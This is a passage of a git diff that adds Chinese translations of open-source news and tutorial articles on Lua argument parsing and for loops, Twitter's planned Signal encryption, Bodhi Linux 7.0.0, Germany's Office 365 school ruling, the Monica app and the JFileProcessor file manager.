上也有很多免版税的旋律循环。音乐家、DJ、制作人和创作者上传了超过 200,000 个旋律循环,从电子舞曲、trap 到古典音乐应有尽有。还有超过 12,000 首无伴奏合唱和口语旋律循环,它是查找低音线或鼓点等内容的绝佳资源。你需要有一个帐户才能下载,并且你必须先下载曲目才能上传任何内容。 + +Looperman 资源不是知识共享的,但该站点默认采用类似的概念:根据站点许可,“所有样本和旋律循环都可以在商业和非商业项目中免费使用”,但“你不能声明这些旋律循环的版权”。无伴奏合唱和人声样本属于不同的类别,所以检查你考虑使用的任何旋律循环的具体条款是很重要的。 + +每个旋律循环都会告诉你每分钟的节拍数、调号(如果相关)以及创建它的软件。波形显示旋律循环的特征,让你清楚它是否可能适用于你的项目.你可以在浏览器中预览旋律循环并为创作者留下评论。有一个活跃的社区和许多很棒的资源可以帮助你创建自己的旋律循环。 + +### 发挥创意 + +我希望这可以让你了解在何处可以为你的下一个项目找到音频资源,我期待听到你创建的内容! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/open-source-audio-tools + +作者:[Ruth Cheesley][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/rcheesley +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/21/12/music-linux-ardour +[2]: https://freesound.org +[3]: https://opensource.com/article/20/1/what-creative-commons +[4]: https://freesound.org/people/SamsterBirdies/packs/31184/ +[5]: https://www.nasa.gov/connect/sounds/index.html +[6]: https://www.looperman.com/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/05/144352hbfp7pg77o5fgi6x.jpg \ No newline at end of file diff --git a/published/202212/20221128.2 ⭐️ Elon Musk's Twitter to Add Open-Source Signal Protocol for Encrypted DMs.md b/published/202212/20221128.2 ⭐️ Elon Musk's Twitter to Add Open-Source Signal Protocol for Encrypted DMs.md new file mode 100644 index 0000000000..d4a75354af --- /dev/null +++ b/published/202212/20221128.2 ⭐️ Elon Musk's Twitter to Add Open-Source Signal Protocol for Encrypted DMs.md @@ -0,0 +1,87 @@ +[#]: subject: "Elon Musk's Twitter to Add Open-Source Signal Protocol for Encrypted DMs" +[#]: via: "https://news.itsfoss.com/twitter-signal/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15306-1.html" + +埃隆·马斯克的 Twitter 将添加开源 Signal 协议,实现加密私信 +====== + +> 埃隆·马斯克证实,加密的私信即将到来! 这是好东西。 + +![](https://news.itsfoss.com/content/images/size/w2000/2022/11/twitter-to-add-signal-encrypted-dms.png) + +今年早些时候,埃隆·马斯克 [在 Twitter 上表示][1]:Twitter 的 私信 Direct Messages (DM)需要像 Signal 协议这样的 端到端加密 End-to-End Encryption 。 + +早在 2016 年,**爱德华·斯诺登**就 [要求][2] Twitter 的前首席执行官兼联合创始人**杰克·多尔西**添加 Signal 协议类似的安全措施到 Twitter 平台。 + +但是,这个协议从来没有被添加到 Twitter。它可能经过测试但还未部署实施。 + +根据最近的公告,Twitter 似乎即将实现这个安全协议 😌。 + +马斯克分享了他在公司演讲中的几张幻灯片,其中就包括为 Twitter 2.0 路线图规划的“**加密私信**”。 + +### 🔒 Twitter 通信的 Signal 协议 + +![twitter encrypted dms][3] + +虽然有一些安全研究员,例如 [黄文津][4],已经在 Twitter 的 iOS 和 Android 应用程序中发现了对 [Signal 协议][5] 的代码引用。 + +但是直到现在,埃隆·马斯克才在 [推文][6] 中确认了该计划,该推文介绍了根据 **“Twitter 2.0”** 路线图将对 Twitter 平台进行的改进。 + +换句话说,埃隆·马斯克正式确认 Twitter 即将推出**加密私信**。 + +![twitter dm signal protocol][7] + +**对于那些不知道 Signal 协议的人**,我们简要地介绍一下 Signal 协议:Signal 协议是一种开源的加密协议,它允许以 [完全前向保密][8] perfect forward secrecy (PFS)方式实施端到端加密。 + +该协议使用 “双棘轮算法 Double Ratchet algorithm ”,通信双方根据不断变化的共享密钥,来交换加密的消息。 + +这确保没有第三方可以得到通信消息的内容,因为共享密钥仅存在于通信双方的设备上。 + +[Signal][9] 应用程序充分利用了这个方法。但是,进一步来说,还有几个以隐私为中心的替代方案: + +(LCTT 译注:Signal 协议是一种真正的端到端加密的通讯协议,号称是世界上最安全的通讯协议。只有参与通讯的用户可以读取并解密信息,而任何第三方(包括服务器)都无法查看到通讯的内容。总的来说,它可以防止潜在的窃听者(包括:通信服务商、互联网服务提供商甚至是该通讯系统的提供者),获取能够用以解密通讯内容的密钥。目前有大量即时通讯软件也使用或借鉴参考了 Signal 协议,例如:Skype、What'sApp、Facebook Messenger) + +#### Signal 协议如何帮助 Twitter DM? + +它可以防止恶意攻击者和政府去窥探 Twitter 用户的消息,从而使 Twitter 成为一个更加安全的平台。 + +Twitter 添加加密私信会对举报人、记者和社会活动家有益,因为他们经常会因其工作而面临被审查或成为攻击目标。 + +诚然,就隐私而言,加密私信可能不是最严格的保护措施。但**有总比没有好**。 + +### 🔏 加密消息应该成为通讯软件的标准 + +在这个动荡的信息时代,我们看到更多的恶意攻击者试图未经授权访问敏感信息。 + +端到端加密应成为所有通讯软件的必要标准,我希望 Twitter 能够尽快添加它。 + +_你有什么想法吗?请在下面的评论区中分享你的想法吧。_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/twitter-signal/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://twitter.com/elonmusk/status/1519469891455234048 +[2]: https://twitter.com/Snowden/status/808736772830195713 +[3]: https://news.itsfoss.com/content/images/2022/11/Encrypted_DM_Twitter.jpg +[4]: https://twitter.com/wongmjane +[5]: https://github.com/signalapp/libsignal +[6]: https://twitter.com/elonmusk/status/1596718851097755648 +[7]: https://news.itsfoss.com/content/images/2022/11/Signal_Protocol_Twitter.jpg +[8]: https://en.wikipedia.org/wiki/Forward_secrecy +[9]: https://signal.org/en/ +[10]: https://itsfoss.com/private-whatsapp-alternatives/ diff --git a/published/202212/20221129.1 ⭐️ Bodhi Linux 7.0.0 Testing Begins with New Features, Packages.md b/published/202212/20221129.1 ⭐️ Bodhi Linux 7.0.0 Testing Begins with New Features, Packages.md new file mode 100644 index 0000000000..74843d60dd --- /dev/null +++ b/published/202212/20221129.1 ⭐️ Bodhi Linux 7.0.0 Testing Begins with New Features, Packages.md @@ -0,0 +1,58 @@ +[#]: subject: "Bodhi Linux 7.0.0 Testing Begins with New Features, Packages" +[#]: via: "https://debugpointnews.com/bodhi-linux-7-0-0-testing/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15309-1.html" + +Bodhi Linux 7.0.0 开始测试新的功能和软件包 +====== + +> Bodhi Linux 团队为即将发布的 Bodhi Linux 7.0.0 版本启动了 Alpha 测试。 + +![Bodhi Linux 7.0.0 桌面][1] + +Bodhi Linux 基于 Ubuntu LTS,其带有基于 Enlightenment 的 Moksha 桌面环境。Moksha 桌面是轻量级的,同时也是一个养眼的桌面。此外,它只包括了可以让你开始使用的基本的应用程序。 + +目前的 Bodhi Linux 6 系列基于 Ubuntu 20.04 LTS,发布于 2021 年,正好在 Ubuntu 20.04 LTS 发布后。即将推出的 Bodhi Linux 7.0.0 将基于今年 4 月发布的 Ubuntu 22.04 LTS,带来了基于 Ubuntu 稳定性和更新的软件包。 + +在其核心部分,它采用与 Ubuntu 22.04 一致的 Linux 5.15 LTS 内核。你可以得到基于最新的 Enlightenment 桌面/Enlightenment 基础库(EFL)的改进的 Mokhsna 桌面环境。 + +由于官方的变化日志还没有发布,这里是你在这个版本中得到的版本的一个快速总结。 + +### Bodhi Linux 7.0.0 摘要(暂定) + +- 基于 Ubuntu 22.04 LTS “Jammy Jellyfish” +- Linux 5.15 LTS 内核 +- Enlightenment 基础库(EFL)1.26.99 +- Moksha 桌面 0.4.0 +- Python 3.10 +- Systemd 249.11 + +### 下载 + +该团队建议,这个预发布版本是不稳定的,不应该用于你的日常工作。不过,如果你想体验一下,可以从下面的链接下载。 + +> **[下载][2]** + +### 时间表 + +Alpha 测试阶段应该持续两个月左右,然后是候选版本。之后是最终版本。从时间上看,根据历史记录 —— Alpha 测试大约持续两个月,然后是一个月的 RC 测试。因此,暂定的最终发布日期为 2023 年 2 月底或 3 月初。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/bodhi-linux-7-0-0-testing/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2022/11/Bodhi-Linux-7.0.0-Desktop.jpg +[2]: https://sourceforge.net/projects/bodhidev/files/7.0.0-alpha/ diff --git a/published/202212/20221129.3 ⭐️⭐️ Parse arguments with Lua.md b/published/202212/20221129.3 ⭐️⭐️ Parse arguments with Lua.md new file mode 100644 index 0000000000..3457ab1f9c --- /dev/null +++ b/published/202212/20221129.3 ⭐️⭐️ Parse arguments with Lua.md @@ -0,0 +1,127 @@ +[#]: subject: "Parse arguments with Lua" +[#]: via: "https://opensource.com/article/22/11/lua-command-arguments" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15321-1.html" + +用 Lua 解析参数 +====== + +![][0] + +> 参数对于交互式计算至关重要,Lua 编程语言提供了 `{...}` 表达式来封装在启动 Lua 脚本时给定的可变参数。 + +大多数计算机命令由两部分组成:命令和参数。命令是要执行的程序,而参数可能是命令选项或用户输入。如果没有这种结构,用户将不得不编辑命令的代码,以改变命令所处理的数据。想象一下重写 [printf][1] 命令只是为了让你的计算机用 “hello world” 消息问候你。参数对于交互式计算至关重要,[Lua 编程语言][2] 提供了 `{...}` 表达式来封装在启动 Lua 脚本时给定的可变参数。 + +### 在 Lua 中使用参数 + +几乎每一个给计算机的命令都假定一个参数,即使它期望参数是一个空列表。 Lua 会记录启动后写入的内容,即使你可能对这些参数不做任何操作。要在 Lua 启动时使用用户提供的参数,请迭代 `{...}` 表: + +``` +local args = {...} + +for i,v in ipairs(args) do + print(v) +end +``` + +运行代码: + +``` +$ lua ./myargs.lua +$ lua ./myargs.lua foo --bar baz +foo +--bar +baz +---- +``` + +参数是不安全的,Lua 会完全按照输入的方式打印所有参数。 + +### 解析参数 + +对于简单的命令,Lua 的基本功能足以解析和处理参数。这是一个简单的例子: + +``` +-- setup + +local args = {...} + +-- engine + +function echo(p) + print(p) +end + +-- go + +for i,v in ipairs(args) do + print(i .. ": " .. v) +end + +for i,v in ipairs(args) do + if args[i] == "--say" then + echo("echo: " .. args[i+1]) + end +end +``` + +在 `setup` 部分,将所有命令参数转储到名为 `args` 的变量中。 + +在 `engine` 部分,创建一个名为 `echo` 的函数,用于打印你“输入”其中的任何内容。 + +最后,在 `go` 部分,解析 `args` 变量(用户在启动时提供的参数)中的索引和值。在此示例代码中,为清楚起见,第一个 `for` 循环仅打印每个索引和值。 + +第二个 `for` 循环使用索引来检查第一个参数,它被假定是一个选项。此示例代码中唯一有效的选项是 `--say`。如果循环找到字符串 `--say`,它会调用 `echo` 函数,并将当前参数的索引 _加 1_(_下一个_ 参数)作为函数参数提供。 + +命令参数的分隔符是一个或多个空格。运行代码查看结果: + +``` +$ lua ./echo.lua --say zombie apocalypse +1: --say +2: zombie +3: apocalypse +echo: zombie +``` + +大多数用户都知道在向计算机发出命令时空格很重要,因此在这种情况下删除第三个参数是预期的行为。下面是演示两种有效“转义”方法的变体: + +``` +$ lua ./echo.lua --say "zombie apocalypse" +1: --say +2: zombie apocalypse +echo: zombie apocalypse + +$ lua ./echo.lua --say zombie\ apocalypse +1: --say +2: zombie apocalypse +echo: zombie apocalypse +``` + +### 解析参数 + +手动解析参数简单且无依赖性。但是,你必须考虑一些细节。大多数现代命令都允许使用短选项(例如,`-f`)和长选项(`--foo`),并且大多数命令都提供 `-h` 或 `--help` 或者在没有所需参数时显示帮助菜单。 + +使用 [LuaRocks][3] 可以轻松安装其他库。有一些非常好的工具,例如 [alt-getopt][4],它们为解析参数提供了额外的基础设施。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/lua-command-arguments + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/8/printf +[2]: https://opensource.com/article/22/11/lua-worth-learning +[3]: https://opensource.com/article/19/11/getting-started-luarocks +[4]: https://opensource.com/article/21/8/parsing-commands-lua +[0]: https://img.linux.net.cn/data/attachment/album/202212/06/111552sofsllzdfffgfakh.jpg \ No newline at end of file diff --git a/published/202212/20221130.1 ⭐️⭐️ Get to know Lua for loops in 4 minutes.md b/published/202212/20221130.1 ⭐️⭐️ Get to know Lua for loops in 4 minutes.md new file mode 100644 index 0000000000..8f382efbce --- /dev/null +++ b/published/202212/20221130.1 ⭐️⭐️ Get to know Lua for loops in 4 minutes.md @@ -0,0 +1,151 @@ +[#]: subject: "Get to know Lua for loops in 4 minutes" +[#]: via: "https://opensource.com/article/22/11/lua-for-loops" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15328-1.html" + +了解 Lua 的 for 循环 +====== + +![][0] + +> 了解 for 循环结构和你在控制它时拥有的选项,这样你可以对如何在 Lua 中处理数据做出聪明的决定。 + +在编程中,迭代是一个重要的概念,因为代码通常必须多次扫描一组数据,以便它可以单独处理每个项目。控制结构使你能够根据通常在程序运行时动态建立的条件来指导程序的流程。不同的语言提供不同的控制,在 [Lua][1] 中,有 `while` 循环、`for` 循环和 `repeat until` 循环。本文介绍 `for` 循环。我将在另一篇文章中介绍 `while` 和 `repeat until` 循环。 + +### for 循环 + +`for` 循环接受已知数量的项目并确保处理每个项目。“项目”可以是数字,它也可以是一个包含多个条目或任何 Lua 数据类型的表。语法和逻辑有点灵活,但语法允许这些参数,每个参数本质上描述了一个计数器: + +- 计数器的起始值 +- 停止值 +- 你希望计数器前进的增量 + +例如,假设你有三个项目并希望 Lua 处理每个项目。你的计数器可以从 3 开始一直持续到 1,增量为 -1。这呈现为 3、2、1 的计数。 + +``` +mytable = { "zombie", "Halloween", "apocalypse" } +for count = 3, 1, -1 do +  print(count .. ": " .. mytable[count]) +end +``` + +运行代码以确保所有三个项目都得到处理: + +``` +$ lua ./for.lua +3: apocalypse +2: Halloween +1: zombie +``` + +这段代码有效地“反向”处理了表,因为它是倒数。你可以正数: + +``` +for count = 1, 3, 1 do +  print(mytable[count]) +end +``` + +此示例从最低索引到最高索引处理表: + +``` +$ lua ./for.lua +1: zombie +2: Halloween +3: apocalypse +``` + +### 增量 + +你也可以更改增量。例如,也许你想要一个没有万圣节盛况的僵尸启示录: + +``` +mytable = { "zombie", "Halloween", "apocalypse" } +for count = 1, 3, 2 do +  print(mytable[count]) +end +``` + +运行代码: + +``` +$ lua ./for.lua +zombie +apocalypse +``` + +该示例打印了 1 和 3,因为第一个计数是 1,然后递增 2(总共 3)。 + +### 计数器 + +有时你不知道需要 Lua 遍历数据的次数。在这种情况下,你可以将计数器设置为由其他进程填充的变量。 + +另外,`count` 这个词不是关键字。为了清楚起见,这正是我在示例代码中使用的内容。程序员通常使用更短的名称,例如 `i` 或 `c`。 + +``` +var = os.time() +if var%2 == 0 then +  mytable = { var } +else +  mytable = { "foo", "bar", "baz" } +end +for c = 1, #mytable, 1 do +  print(mytable[c]) +end +``` + +此代码创建一个变量,其中包含启动时的时间戳。如果时间戳是偶数(除以 2 时模数为 0),则只将时间戳放入表中。如果时间戳是奇数,它将三个字符串放入一个表中。 + +现在你无法确定你的 `for` 循环需要运行多少次。可能是一次或是三次,但没有办法确定。解决方案是将起始计数设置为 1,将最终计数设置为表的长度(`#mytable` 是确定表长度的内置快捷方式)。 + +可能需要多次运行脚本才能看到这两个结果,但最终,你会得到如下结果: + +``` +$ lua ./dynamic.lua1665447960 +$ lua ./dynamic.lua +foo +bar +baz +``` + +### 带 pairs 和 ipairs 的 for 循环 + +如果你已经阅读了我关于 [表迭代][2] 的文章,那么你已经熟悉了 Lua 中最常见的 `for` 循环之一。这个使用 `pairs` 或 `ipairs` 函数来迭代一个表: + +``` +mytable = { "zombie", "Halloween", "apocalypse" } +for i,v in ipairs(mytable) do +  print(i .. ": " v) +end +``` + +`pairs` 和 `ipairs` 函数“解包”表并将值转储到你提供的变量中。在此示例中,我将 `i` 用于 _索引_,将 `v` 用于 _值_,但变量名称无关紧要。 + +``` +$ lua ./for.lua1: zombie2: Halloween3: apocalypse +``` + +### for 循环 + +`for` 循环结构在编程中很常见,由于经常使用表和 `pairs` 函数,因此在 Lua 中非常常见。了解 `for` 循环结构和控制它时的选项意味着你可以就如何在 Lua 中处理数据做出明智的决定。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/lua-for-loops + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/11/lua-worth-learning +[2]: https://opensource.com/article/22/11/iterate-over-tables-lua +[0]: https://img.linux.net.cn/data/attachment/album/202212/08/094609xg8sgk832t0y6s68.jpg \ No newline at end of file diff --git a/published/202212/20221201.2 ⭐️⭐️ Microsoft Office 365 Declared illegal for German Schools, Again!.md b/published/202212/20221201.2 ⭐️⭐️ Microsoft Office 365 Declared illegal for German Schools, Again!.md new file mode 100644 index 0000000000..37f815aec6 --- /dev/null +++ b/published/202212/20221201.2 ⭐️⭐️ Microsoft Office 365 Declared illegal for German Schools, Again!.md @@ -0,0 +1,95 @@ +[#]: subject: "Microsoft Office 365 Declared illegal for German Schools, Again!" +[#]: via: "https://news.itsfoss.com/microsoft-office-365-illegal-germany/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15315-1.html" + +微软 Office 365 再次在德国学校被宣布为非法 +====== + +> 再一次,微软因其 Office 365 的隐私问题而在德国受到抨击! + +![微软 Office 365 再次在德国学校被宣布为非法!][1] + +最近,我偶然看到 [Tutanota][2] 的一篇博文,说微软的 Office 365 再次被宣布在德国学校使用是非法的。 + +好吧,真让人吃惊!😬 + +上一次发生这种情况还是在 [2019 年][3],当时 Office 365 被禁止在德国黑森州Hesse的学校使用。 + +补充说明一下,Office 365 软件包提供了一套完善的专有工具,被全球许多专业人士使用,这就是它受欢迎的原因。 + +然而,正如德国当局指出的那样,它带来了相当多的隐私问题,这些问题还没有得到解决。 + +🛑 因此,德国数据保护会议(DSK、Datenschutzkonferenz)决定禁止在全国的学校使用微软 Office 365。 + +> 💡 DSK 是一个由独立的德国联邦和州数据保护监督机构组成的团体。 + +### 微软 Office 365 不能在德国学校使用 + +**一个大胆的举动:** DSK 已经禁止在学校使用微软 Office 365,理由是微软存在各种隐私侵犯的行为。 + +过去两年一直在进行谈判,以确保其符合欧洲数据保护标准。 + +然而,事情的结果并不理想。 + +在 [DSK][4] 的一份声明中,他们提到: + +> 控制者必须能够根据 GDPR 第 5(2) 条履行其责任义务。在使用微软 365 时,根据“数据保护附录”,在这方面仍然会遇到困难,因为微软没有完全披露具体发生了哪些处理操作。 +> +> 此外,微软没有完全披露哪些处理操作是代表客户进行的,哪些是为自己的目的进行的。 + +换句话说,他们觉得微软没有遵守 [GDPR][5] 的规定,而且微软一直缺乏透明度。 + +**与 2019 年那次有什么不同?:** 好吧,在被黑森州的学校取缔后,微软在 2019 年后做了一些改变。 + +但是,他们只是采用了欧盟委员会的一些标准合同条款,并更新了他们的《产品和服务数据保护 [附录][6]》,几乎只是表面功夫。 + +**这次又是什么原因造成的?:** 当 DSK 发现使用 Office 365 时,个人数据被发送到美国,使美国当局可以获得这些数据时,他们很不高兴。 + +他们还发现,如果不将个人数据传输到美国,就无法使用微软 Office 365。 + +因此,他们也建议私人用户不要使用 Office 365,因为不能信任微软对他们的数据的处理。 + +Tutanota 的人还指出,许多贸易学校使用 Office 365 来让他们的学生学习办公室工作。现在,他们将不得不使用微软 Office 的本地许可证(在本地部署)来实现同样的目的。 + +**下一步是什么?** 在最近的一份 [声明][7] 中,微软表示,他们不同意 DSK 的做法,并已采取措施,确保他们的 Office 365 产品符合欧洲数据标准,或者经常超过这些标准。 + +微软提到: + +> 我们谨记 DSK 关于提高透明度的呼吁。虽然我们的透明度标准已经超过了我们行业中的大多数其他供应商,但我们承诺会做得更好。 +> +> 特别是,我们将在我们计划的欧盟数据限制的框架内,在透明度的意义上提供关于我们客户的数据流和处理目的的进一步文档。 +> +> 我们还将增加欧盟以外的分包商和微软员工的地点和处理的透明度。 + +因此,总结一下。在遵守严格的欧盟数据处理准则方面,微软还有很长的路要走。 + +我认为德国学校应该改用 Linux,并选择开源的微软 Office 替代品,如 LibreOffice、Calligra、ONLYOFFICE [等等][8],以保证他们的数据安全并掌握在正确的人手中。 + +你怎么看?微软是否在努力保持其在德国的地位?欢迎分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/microsoft-office-365-illegal-germany/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/german-schools-ban-ms-office-365.png +[2]: https://tutanota.com/blog/posts/microsoft-office-365-email-alternative/ +[3]: https://www.zdnet.com/article/microsoft-office-365-banned-in-german-schools-over-privacy-fears/ +[4]: https://datenschutzkonferenz-online.de +[5]: https://en.wikipedia.org/wiki/General_Data_Protection_Regulation +[6]: https://www.microsoft.com/licensing/docs/view/Microsoft-Products-and-Services-Data-Protection-Addendum-DPA +[7]: https://news.microsoft.com/de-de/microsoft-erfuellt-und-uebertrifft-europaeische-datenschutzgesetze/ +[8]: https://itsfoss.com/best-free-open-source-alternatives-microsoft-office/ diff --git a/published/202212/20221201.3 ⭐️⭐️ Monica An Open-Source App for Personal Relationship Management.md b/published/202212/20221201.3 ⭐️⭐️ Monica An Open-Source App for Personal Relationship Management.md new file mode 100644 index 0000000000..c159ea92bb --- /dev/null +++ b/published/202212/20221201.3 ⭐️⭐️ Monica An Open-Source App for Personal Relationship Management.md @@ -0,0 +1,89 @@ +[#]: subject: "Monica: An Open-Source App for Personal Relationship Management" +[#]: via: "https://itsfoss.com/monica/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15346-1.html" + +Monica:人际关系管理的开源应用 +====== + +![][0] + +你可能已经知道 CRM 代表 客户关系管理Customer Relationship Management。 我们已经有了一份帮助小型企业的 [开源 CRM 软件][1] 列表。 + +在这里,我将讨论一个有趣的开源 Web 应用,它采用相同的人际关系概念。听起来很独特,对吧? + +Monica 是一款可让你组织和记录你与亲人互动的应用。**如果你自行托管,它是免费的,如果你需要托管版本那么订阅**。 + +### Monica:跟踪社交互动 + +![contacts][2] + +很难记住与家人、朋友或同事互动的每一个细节。 + +你可以使用 [笔记应用][3] 或 [CubyText][4] 等知识管理应用来添加一些信息。但这些并不是为记录你的互动而量身定制的。 因此,你将不得不付出一些努力,以在需要时得心应手的方式添加信息。 + +使用 Monica,添加你的家庭、工作、联系人之间的关系、活动、日记、重要日期的提醒、债务等信息变得更加容易。 + +可以将其安装在自己的服务器上或选择 **$90/年** 的订阅以获得托管版本。 + +有趣的是,开发人员最初是根据他的个人要求构建它的。 + +### Monica 的特点 + +![dashboard][5] + +你可以获得大量选项来添加有关你日常生活中的人和互动的信息。其中一些包括: + +- 添加关于一个人的注释 +- 列出与联系人相关的重要其他人的姓名(他们的孩子、宠物等) +- 通话记录 +- 每个联系人的备用联系方式 +- 重要约会和重要事件提醒。生日会自动设置为提醒。 +- 管理礼物信息 +- 有用的仪表板,一目了然 +- 支持日记条目 + +Monica 似乎配备了各种功能,使其成为写日记、做笔记、添加联系信息、添加事件等的一体化工具。 + +不幸的是,没有可用的移动应用。你可以从 Web 浏览器访问它,但它可能不是每个人的最佳体验。所以,如果你坚持用智能手机做笔记和其他东西,你可能想看看其他的。 + +### 自托管或订阅访问 + +如果你想要 Monica 的托管版本,可以查看它的 [定价页面][6] 了解更多信息。 + +对于自托管,你需要前往其 [GitHub 页面][7] 并按照说明下载并安装它。可以选择在 Platform.sh 或 Heroku 上快速部署。 + +在选择服务器来托管 Monica 之前,请检查最低系统要求。 + +没有特殊的高级功能,与托管版本的高级订阅相比,你在自行托管时获得相同的东西。 + +这一切都很方便。 所以,选择对你来说不错的。 + +前往其 [官方网站][8] 获取所有详细信息并开始使用。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/monica/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-open-source-crm/ +[2]: https://itsfoss.com/wp-content/uploads/2022/11/contacts.png +[3]: https://itsfoss.com/note-taking-apps-linux/ +[4]: https://news.itsfoss.com/cubytext-experimental-project/ +[5]: https://itsfoss.com/wp-content/uploads/2022/11/dashboard.png +[6]: https://www.monicahq.com/pricing +[7]: https://github.com/monicahq/monica#get-started +[8]: https://www.zdnet.com/article/microsoft-office-365-banned-in-german-schools-over-privacy-fears/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/14/093133zpw06jndpzbdpphp.jpg \ No newline at end of file diff --git a/published/202212/20221202.1 ⭐️⭐️ Try this Java file manager on Linux.md b/published/202212/20221202.1 ⭐️⭐️ Try this Java file manager on Linux.md new file mode 100644 index 0000000000..c32fe8144e --- /dev/null +++ b/published/202212/20221202.1 ⭐️⭐️ Try this Java file manager on Linux.md @@ -0,0 +1,68 @@ +[#]: subject: "Try this Java file manager on Linux" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-jfileprocessor" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15357-1.html" + +在 Linux 上试试这个 Java 文件管理器 +====== + +![][0] + +> JFileProcessor 作为一个 Linux 文件管理器,在设计和功能上都采取了极简理念。 + +计算机是一个奇特的文件柜,里面装满了虚拟文件夹和文件,等待着被引用、交叉引用、编辑、更新、保存、复制、移动、重命名和归类。在本文中,我将介绍一下 Linux 系统的文件管理器。 + +在 昇阳微系统Sun Microsystem 时代的末期,出现了一种叫做 Java 桌面系统Java Desktop System 的东西,奇怪的是它 _不是_ 用 Java 编写的。相反,它是(根据当时的 sun.com 上的描述)“对集成和优化的桌面软件的明智选择,大部分基于开源代码和开放标准”。它基于 GNOME,带有办公套件、电子邮件和日历应用、即时消息和“Java 技术”。我发现自己在思考用 Java 创建桌面需要什么。客观地说,桌面实际上并不包括那么多东西。一般的共识似乎是桌面由面板、系统托盘、应用菜单和文件管理器组成。 + +想象一个实际的 Java 桌面是一个有趣的思维练习。虽然不足以以此为目标启动一个开源项目,但足以在网络上快速搜索必要的组件。事实证明,有人用 Java 编写并维护了一个文件管理器。 + +### JFileProcessor + +我找到的 Java 文件管理器叫做 JFileProcessor,简称 JFP。它不仅是用 Java 编写的,更具体是说是用 [Groovy][1](一种流行的 Java 脚本语言)进行的一项迷人的实践。 + +![Image of the JfileProcessor folders.][2] + +作为文件管理器,JFileProcessor 在设计和功能上都采用了极简方式。它允许你查看、打开、移动、复制、剪切或删除本地系统和远程系统上的文件。它不是特别定制化的,它没有如拆分面板或可移动面板等额外功能。除了管理文件外,它没什么别的中心主题。JFileProcessor 在某种程度上令人耳目一新,因为它很简单。这是一个文件管理器,仅此而已。有时这就是你在文件管理器中想要的全部。 + +我之前写过关于 [设置 Java Swing 主题][3] 的方式,从技术上讲,该技术可以应用于这个开源应用。但是,我认为这个应用的部分魅力在于 OpenSolaris 